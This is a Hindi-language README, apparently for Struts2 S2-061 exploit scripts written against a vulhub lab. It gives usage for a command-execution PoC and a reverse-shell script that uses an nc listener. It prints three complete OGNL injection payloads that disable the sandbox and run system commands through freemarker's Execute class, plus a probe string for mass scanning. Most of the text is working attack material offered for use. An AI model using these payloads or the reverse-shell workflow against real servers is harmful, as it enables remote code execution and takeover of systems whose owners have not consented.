
S2-061 का payload, तथा संबंधित सरल PoC/Exp
S2-061
ये स्क्रिप्ट vulhub के struts2-059/061 भेद्यता परीक्षण वातावरण के आधार पर लिखी गई हैं, ये सार्वभौमिक नहीं हैं, आशा है कि विशेषज्ञ साथी मार्गदर्शन करेंगे।
struts2-061-poc.py (सरल सिस्टम कमांड निष्पादित कर सकता है)
उपयोग: python struts2-061-poc.py http://ip:port command
उदाहरण: python struts2-061-poc.py http://192.168.0.7:8080 whoami
S2-061-shell.py (रिवर्स शेल प्राप्त कर सकता है)
उपयोग:
सबसे पहले मशीन A पर एक विशिष्ट पोर्ट पर सुनें (उदाहरण के लिए: nc -lvvp 7777)
स्क्रिप्ट निष्पादित करें: python2 S2-061-shell.py target_url, जहाँ target_url भेद्यता वातावरण का पता है, प्रारूप http://ip:port है
स्क्रिप्ट के संकेत के अनुसार मशीन A का IP तथा सुने जा रहे पोर्ट को दर्ज करें, फिर मशीन A की सुनने वाली विंडो में shell प्राप्त कर सकते हैं
नीचे कुछ विशेषज्ञों द्वारा बनाए गए payload दिए गए हैं:
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
पूर्ण विश्लेषण लेख: https://mp.weixin.qq.com/s?__biz=Mzg2NjQ2NzU3Ng==&mid=2247485921&idx=1&sn=096e61db21281c6392c6b7d8c70fe458
%{(#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#application.map2.setBean(#application.get('map').get('context')) == true).toString().substring(0,0) + (#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map3.setBean(#application.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))}
%{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))}
ध्यान दें: कृपया उपरोक्त OGNL कोड को url द्वारा एन्कोड करने के बाद ही टूल पर उपयोग करें।
नए संस्करण के struts2 में, पैरामीटर निर्माण के माध्यम से ognl एक्सप्रेशन को पार्स नहीं किया जा सकता है, इसलिए यदि इस भेद्यता की उपस्थिति के लिए बैच स्कैन हेतु स्क्रिप्ट का उपयोग करना चाहते हैं, तो सीधे सभी पैरामीटर को ब्रूट-फोर्स करके यह जाँचा जा सकता है कि पृष्ठ में अपेक्षित परिणाम टेक्स्ट मौजूद है या नहीं।
उदाहरण:
%{ 'gcowsec-' + (2000 + 20).toString()}
अपेक्षित परिणाम होगा
gcowsec-2020
स्क्रिप्ट का उपयोग करके यह जाँचना पर्याप्त है कि परिणाम में यह शामिल है या नहीं।